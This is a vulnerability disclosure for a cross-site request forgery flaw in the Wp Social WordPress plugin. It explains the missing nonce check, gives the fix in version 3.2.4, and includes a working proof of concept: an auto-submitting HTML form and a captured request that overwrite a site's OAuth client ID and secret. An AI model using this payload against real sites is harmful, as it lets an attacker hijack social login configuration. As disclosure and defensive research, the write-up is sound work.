CVE-2026-122675: Cross Site Request Forgery (CSRF) in Wp Social WordPress Plugin

   
CVE CVE-2026-122675
Plugin Wp Social (wp-social)
Affected <= 3.2.3
Fixed in 3.2.4
Severity CVSS 5.4 Medium
Attacker needs No account. A logged in administrator has to open an attacker page
Advisory Patchstack
PoC Mor-Golan/CVE-2026-122675

Summary

I found that the Wp Social plugin by Wpmet saves its social login provider settings without any request forgery protection.
An attacker with no account on the site can host a page that, when opened by a logged in administrator, silently replaces the OAuth client ID and client secret the site uses for social login.
Those values decide which OAuth application the site trusts to log users in, so this is a change to the site’s authentication configuration, not a cosmetic setting.
I tested on 3.2.1.
The official affected range is every version up to and including 3.2.3.

Root cause

The providers tab of the plugin’s settings screen is handled by Admin_Settings::content_xs_providers() in inc/admin-settings.php.
It saves whenever one POST key is present:

public function content_xs_providers() {
    $option_key = 'xs_provider_data';
    $message_provider = 'hide';
    // save prodivers data in db
    if(isset($_POST['xs_provider_submit_form'])) {

        $option_value = isset($_POST['xs_social']) ? self::sanitize($_POST['xs_social']) : [];

        if(update_option($option_key, $option_value, 'Yes')) {
            $message_provider = 'show';
        }
    }

There is no wp_verify_nonce, no check_admin_referer and no referer test on this path. self::sanitize() cleans the values but says nothing about where the request came from.
The matching form template, template/admin/providers-setting.php, also never calls wp_nonce_field.

The plugin’s own code shows this is an omission.
The sibling save branches in the same class all check a nonce (lines 363, 468, 498, 527, 548, 659, 722 and 824), for example:

if( !isset( $_POST['nonce'] ) || !wp_verify_nonce( $_POST['nonce'], 'global_setting_submit_form_nonce' ) ) {

Seven of the eight admin form templates call wp_nonce_field.
The providers template is the only one that does not.

The option being written matters. xs_provider_data is the plugin’s login settings store (app/settings.php), and inc/admin-create-user.php reads it back as the Hybridauth keys for each provider:

$provider_data = Settings::get_login_settings_data();
// ...
'keys'    => [
    $idData  => isset($provider_data[$serviceKey]['id']) ? $provider_data[$serviceKey]['id'] : '',
    'secret' => isset($provider_data[$serviceKey]['secret']) ? $provider_data[$serviceKey]['secret'] : '',

The settings screen is registered with the manage_options capability, so a Subscriber posting the same body directly gets HTTP 403.
The attacker cannot make this change alone.
It has to ride an administrator’s session, which is exactly what a cross site request does.

One precondition: the plugin’s one time onboarding wizard must be finished.
Until then the plugin redirects its own admin screens into the wizard.
That is the normal state of any site that actually uses the plugin, and a site that never finished it has no social login credentials to overwrite.

Proof of concept

  1. Install Wp Social 3.2.1 on WordPress and finish the onboarding wizard.
  2. As the administrator, note the current values on /wp-admin/admin.php?page=wslu_global_setting&tab=wslu_providers, or read them with WP CLI:

    $ wp option get xs_provider_data --format=json
    {"facebook":{"id":"LEGIT-ID","secret":"LEGIT-SECRET","enable":"on"}}
    
  3. Host this page on any other origin.
    It submits itself as soon as it loads:

    <form id="f" method="POST" action="http://localhost:8080/wp-admin/admin.php?page=wslu_global_setting&tab=wslu_providers">
      <input type="hidden" name="xs_provider_submit_form" value="1">
      <input type="hidden" name="xs_social[facebook][id]" value="ATTACKER-CLIENT-ID">
      <input type="hidden" name="xs_social[facebook][secret]" value="ATTACKER-CLIENT-SECRET">
      <input type="hidden" name="xs_social[facebook][enable]" value="on">
    </form><script>document.getElementById('f').submit();</script>
    
  4. Have a logged in administrator open it.
    The browser attaches the administrator’s WordPress cookies and posts the form.
    No nonce is sent because the handler asks for none.
    This is the request as the server received it in my lab, captured on the server side, trimmed and with the lab addresses replaced:

    POST /wp-admin/admin.php?page=wslu_global_setting&tab=wslu_providers HTTP/1.1
    Host: localhost:8080
    Origin: http://attacker.example
    Referer: http://attacker.example/
    Sec-Fetch-Site: cross-site
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Dest: document
    Content-Type: application/x-www-form-urlencoded
    Cookie: wordpress_<hash>=...; wordpress_logged_in_<hash>=...
    
    xs_provider_submit_form=1&xs_social%5Bfacebook%5D%5Bid%5D=ATTACKER-CLIENT-ID&xs_social%5Bfacebook%5D%5Bsecret%5D=ATTACKER-CLIENT-SECRET&xs_social%5Bfacebook%5D%5Benable%5D=on
    

The response is HTTP 200 and the administrator lands on the providers screen with the notice “Providers data have been updated.”

  1. Read the option back:

    $ wp option get xs_provider_data --format=json
    {"facebook":{"id":"ATTACKER-CLIENT-ID","secret":"ATTACKER-CLIENT-SECRET","enable":"on"}}
    

The full attacker page and a curl version of the same request are in the PoC repository.

Impact

In my lab, a real Chromium browser logged in as the administrator opened the attacker page from a different site.
The forged request carried Sec-Fetch-Site: cross-site and the attacker’s Origin, and it replaced the stored Facebook client ID and secret with the attacker’s values.
The legitimate values were gone afterwards.

I ran three controls with the same delivery:

update_option() stores whatever xs_social array is posted, so one forged request replaces the client IDs and secrets for every social login provider the site uses.
Going by the code that reads the option, later social logins would go to an OAuth application the attacker controls, and the site’s real social login stops working.
I did not stage anything past the settings write, so I do not claim account takeover or any other consequence beyond it.

Fix

Update Wp Social to 3.2.4 or later.
The fix pattern is already in the plugin: add a wp_nonce_field() to template/admin/providers-setting.php and verify it with wp_verify_nonce() in content_xs_providers() before calling update_option(), as the sibling branches do.

Timeline

References

All research · All CVEs